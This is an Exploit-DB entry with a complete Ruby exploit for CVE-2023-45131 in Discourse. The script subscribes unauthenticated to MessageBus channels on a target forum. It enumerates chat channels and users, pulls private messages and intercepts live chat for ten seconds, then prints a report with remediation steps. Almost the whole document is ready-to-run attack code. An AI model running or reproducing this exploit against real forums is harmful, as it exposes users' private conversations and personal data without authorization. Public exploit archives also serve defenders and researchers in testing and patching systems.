Discourse 3.1.1 - Unauthenticated Chat Message Access

EDB-ID:

52375




Platform:

Multiple

Date:

2025-07-22


#!/usr/bin/env ruby
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
# CVE-2023-45131
# CVSS: 7.5 (High)
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql
# Date: 2023-12-14

require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE202345131
  def initialize(target_url)
    @target_url = target_url.chomp('/')
    @results = []
    @message_bus_client_id = nil
    @csrf_token = nil
  end

  def run_exploit
    puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
    puts "[*] Target: #{@target_url}"
    puts "[*] CVSS Score: 7.5 (High)"
    puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"

    # Test MessageBus access
    test_messagebus_access
    test_chat_channel_enumeration
    test_private_message_access
    test_real_time_monitoring
    test_message_history_access
    test_user_enumeration_via_chat

    generate_report
    @results
  end

  private

  def test_messagebus_access
    puts "[*] Testing MessageBus unauthenticated access..."
    
    begin
      # Get MessageBus client ID
      uri = URI("#{@target_url}/message-bus/poll")
      
      response = make_request(uri, 'GET')
      
      if response && response.code == '200'
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Array) && !data.empty?
            @message_bus_client_id = extract_client_id(response)
            
            @results << {
              vulnerability: "MessageBus Access",
              severity: "High",
              description: "Unauthenticated access to MessageBus endpoint confirmed",
              impact: "Can monitor real-time messages and notifications",
              client_id: @message_bus_client_id
            }
            puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
            return true
          end
        rescue JSON::ParserError
          # Try alternative endpoints
          test_alternative_messagebus_endpoints
        end
      end
    rescue => e
      puts "[!] Error testing MessageBus access: #{e.message}"
    end
    
    false
  end

  def test_alternative_messagebus_endpoints
    puts "[*] Testing alternative MessageBus endpoints..."
    
    endpoints = [
      "/message-bus/poll",
      "/message-bus/subscribe",
      "/message-bus/diagnostics",
      "/message-bus/long-poll"
    ]

    endpoints.each do |endpoint|
      begin
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          if response.body.include?('message-bus') || response.body.include?('clientId')
            @results << {
              vulnerability: "Alternative MessageBus Endpoint",
              severity: "Medium",
              endpoint: endpoint,
              description: "Alternative MessageBus endpoint accessible",
              impact: "Potential message monitoring capability"
            }
            puts "[+] Alternative endpoint accessible: #{endpoint}"
          end
        end
      rescue => e
        puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
      end
    end
  end

  def test_chat_channel_enumeration
    puts "[*] Testing chat channel enumeration..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to enumerate chat channels
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to chat channels
      data = {
        '/chat/new-messages' => -1,
        '/chat/channel-status' => -1,
        '/chat/user-tracking' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array) && !messages.empty?
            chat_channels = extract_chat_channels(messages)
            
            if !chat_channels.empty?
              @results << {
                vulnerability: "Chat Channel Enumeration",
                severity: "High",
                channels: chat_channels,
                description: "Enumerated accessible chat channels",
                impact: "Can identify active chat channels and participants"
              }
              puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
            end
          end
        rescue JSON::ParserError => e
          puts "[!] Error parsing chat channel response: #{e.message}"
        end
      end
    rescue => e
      puts "[!] Error enumerating chat channels: #{e.message}"
    end
  end

  def test_private_message_access
    puts "[*] Testing private message access..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to access private messages
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to private message channels
      data = {
        '/private-messages' => -1,
        '/chat/private' => -1,
        '/notification' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array)
            private_messages = extract_private_messages(messages)
            
            if !private_messages.empty?
              @results << {
                vulnerability: "Private Message Access",
                severity: "Critical",
                messages: private_messages,
                description: "Accessed private chat messages without authentication",
                impact: "Complete breach of private communication confidentiality"
              }
              puts "[+] Private messages accessed: #{private_messages.length} messages found"
              
              # Log sample messages (redacted)
              private_messages.first(3).each_with_index do |msg, idx|
                puts "    [#{idx + 1}] #{redact_message(msg)}"
              end
            end
          end
        rescue JSON::ParserError => e
          puts "[!] Error parsing private message response: #{e.message}"
        end
      end
    rescue => e
      puts "[!] Error accessing private messages: #{e.message}"
    end
  end

  def test_real_time_monitoring
    puts "[*] Testing real-time message monitoring..."
    
    return unless @message_bus_client_id
    
    begin
      puts "[*] Monitoring for 10 seconds..."
      
      start_time = Time.now
      monitored_messages = []
      
      while (Time.now - start_time) < 10
        uri = URI("#{@target_url}/message-bus/poll")
        
        data = {
          '/chat/new-messages' => 0,
          'clientId' => @message_bus_client_id
        }
        
        response = make_request(uri, 'POST', data)
        
        if response && response.code == '200'
          begin
            messages = JSON.parse(response.body)
            
            if messages.is_a?(Array) && !messages.empty?
              new_messages = extract_new_messages(messages)
              monitored_messages.concat(new_messages)
            end
          rescue JSON::ParserError
            # Continue monitoring
          end
        end
        
        sleep(1)
      end
      
      if !monitored_messages.empty?
        @results << {
          vulnerability: "Real-time Message Monitoring",
          severity: "High",
          messages_count: monitored_messages.length,
          description: "Successfully monitored real-time chat messages",
          impact: "Can intercept live communications"
        }
        puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
      else
        puts "[-] No real-time messages detected during monitoring period"
      end
    rescue => e
      puts "[!] Error during real-time monitoring: #{e.message}"
    end
  end

  def test_message_history_access
    puts "[*] Testing message history access..."
    
    begin
      # Try to access message history through various endpoints
      history_endpoints = [
        "/chat/api/channels",
        "/chat/api/messages",
        "/chat/history",
        "/api/chat/channels.json"
      ]
      
      history_endpoints.each do |endpoint|
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          begin
            data = JSON.parse(response.body)
            
            if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
              @results << {
                vulnerability: "Message History Access",
                severity: "High",
                endpoint: endpoint,
                description: "Accessed chat message history without authentication",
                impact: "Historical chat data exposure"
              }
              puts "[+] Message history accessible via: #{endpoint}"
            end
          rescue JSON::ParserError
            # Check for HTML responses that might contain chat data
            if response.body.include?('chat') && response.body.include?('message')
              @results << {
                vulnerability: "Message History Exposure",
                severity: "Medium",
                endpoint: endpoint,
                description: "Chat-related content found in response",
                impact: "Potential information disclosure"
              }
              puts "[+] Chat-related content found in: #{endpoint}"
            end
          end
        end
      end
    rescue => e
      puts "[!] Error testing message history access: #{e.message}"
    end
  end

  def test_user_enumeration_via_chat
    puts "[*] Testing user enumeration via chat features..."
    
    begin
      # Try to enumerate users through chat-related endpoints
      user_endpoints = [
        "/chat/api/users",
        "/chat/users.json",
        "/api/chat/users",
        "/chat/members"
      ]
      
      user_endpoints.each do |endpoint|
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          begin
            data = JSON.parse(response.body)
            
            if data.is_a?(Hash) && (data['users'] || data['members'])
              users = extract_users_from_chat(data)
              
              if !users.empty?
                @results << {
                  vulnerability: "User Enumeration via Chat",
                  severity: "Medium",
                  endpoint: endpoint,
                  users_count: users.length,
                  sample_users: users.first(5),
                  description: "Enumerated chat users without authentication",
                  impact: "User information disclosure"
                }
                puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
              end
            end
          rescue JSON::ParserError
            # Continue with next endpoint
          end
        end
      end
    rescue => e
      puts "[!] Error testing user enumeration: #{e.message}"
    end
  end

  def extract_client_id(response)
    # Extract client ID from response headers or body
    if response['X-MessageBus-Client-Id']
      return response['X-MessageBus-Client-Id']
    end
    
    # Try to extract from response body
    begin
      data = JSON.parse(response.body)
      if data.is_a?(Hash) && data['clientId']
        return data['clientId']
      end
    rescue JSON::ParserError
    end
    
    # Generate a random client ID
    SecureRandom.hex(16)
  end

  def extract_chat_channels(messages)
    channels = []
    
    messages.each do |message|
      if message.is_a?(Hash)
        if message['channel'] && message['channel'].include?('/chat/')
          channels << message['channel']
        elsif message['data'] && message['data'].is_a?(Hash)
          if message['data']['channel_id']
            channels << "Channel #{message['data']['channel_id']}"
          end
        end
      end
    end
    
    channels.uniq
  end

  def extract_private_messages(messages)
    private_msgs = []
    
    messages.each do |message|
      if message.is_a?(Hash)
        if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
          private_msgs << {
            channel: message['channel'],
            data: message['data'],
            timestamp: message['timestamp'] || Time.now.to_i
          }
        elsif message['data'] && message['data'].is_a?(Hash)
          if message['data']['message'] || message['data']['content']
            private_msgs << {
              content: message['data']['message'] || message['data']['content'],
              user: message['data']['user'] || message['data']['username'],
              timestamp: message['data']['timestamp'] || Time.now.to_i
            }
          end
        end
      end
    end
    
    private_msgs
  end

  def extract_new_messages(messages)
    new_msgs = []
    
    messages.each do |message|
      if message.is_a?(Hash) && message['data']
        new_msgs << {
          channel: message['channel'],
          data: message['data'],
          timestamp: Time.now.to_i
        }
      end
    end
    
    new_msgs
  end

  def extract_users_from_chat(data)
    users = []
    
    if data['users'] && data['users'].is_a?(Array)
      data['users'].each do |user|
        if user.is_a?(Hash)
          users << {
            username: user['username'],
            id: user['id'],
            name: user['name']
          }
        end
      end
    elsif data['members'] && data['members'].is_a?(Array)
      data['members'].each do |member|
        if member.is_a?(Hash)
          users << {
            username: member['username'] || member['user'],
            id: member['id'] || member['user_id']
          }
        end
      end
    end
    
    users
  end

  def redact_message(message)
    if message.is_a?(Hash)
      content = message[:content] || message['content'] || message[:data] || 'N/A'
      user = message[:user] || message['user'] || 'Unknown'
      "User: #{user}, Content: #{content.to_s[0..50]}..."
    else
      message.to_s[0..50] + "..."
    end
  end

  def make_request(uri, method = 'GET', data = nil, headers = {})
    begin
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = (uri.scheme == 'https')
      http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
      http.read_timeout = 10
      http.open_timeout = 10

      request = case method.upcase
                when 'GET'
                  Net::HTTP::Get.new(uri.request_uri)
                when 'POST'
                  req = Net::HTTP::Post.new(uri.request_uri)
                  if data
                    if data.is_a?(Hash)
                      req.set_form_data(data)
                    else
                      req.body = data
                      req['Content-Type'] = 'application/json'
                    end
                  end
                  req
                end

      # Set headers
      request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
      request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
      request['X-Requested-With'] = 'XMLHttpRequest'
      headers.each { |key, value| request[key] = value }

      response = http.request(request)
      return response
    rescue => e
      puts "[!] Request failed: #{e.message}"
      return nil
    end
  end

  def generate_report
    puts "\n" + "="*60
    puts "CVE-2023-45131 Exploitation Report"
    puts "="*60
    puts "Target: #{@target_url}"
    puts "Vulnerabilities Found: #{@results.length}"
    
    if @results.empty?
      puts "[+] No chat message access vulnerabilities detected"
    else
      puts "\n[!] VULNERABILITIES DETECTED:"
      @results.each_with_index do |result, index|
        puts "\n#{index + 1}. #{result[:vulnerability]}"
        puts "   Severity: #{result[:severity]}"
        puts "   Description: #{result[:description]}"
        puts "   Impact: #{result[:impact]}"
        
        if result[:messages_count]
          puts "   Messages Found: #{result[:messages_count]}"
        end
        if result[:channels]
          puts "   Channels: #{result[:channels].join(', ')}"
        end
        if result[:endpoint]
          puts "   Endpoint: #{result[:endpoint]}"
        end
      end
      
      puts "\n[!] REMEDIATION:"
      puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
      puts "2. Implement proper authentication for MessageBus endpoints"
      puts "3. Review and restrict access to chat-related APIs"
      puts "4. Monitor MessageBus access logs for suspicious activity"
      puts "5. Consider disabling chat features if not required"
    end
    
    puts "\n" + "="*60
  end
end

# Run the exploit if called directly
if __FILE__ == $0
  if ARGV.length != 1
    puts "Usage: ruby #{$0} <target_url>"
    puts "Example: ruby #{$0} https://discourse.example.com"
    exit 1
  end

  target_url = ARGV[0]
  exploit = CVE202345131.new(target_url)
  exploit.run_exploit
end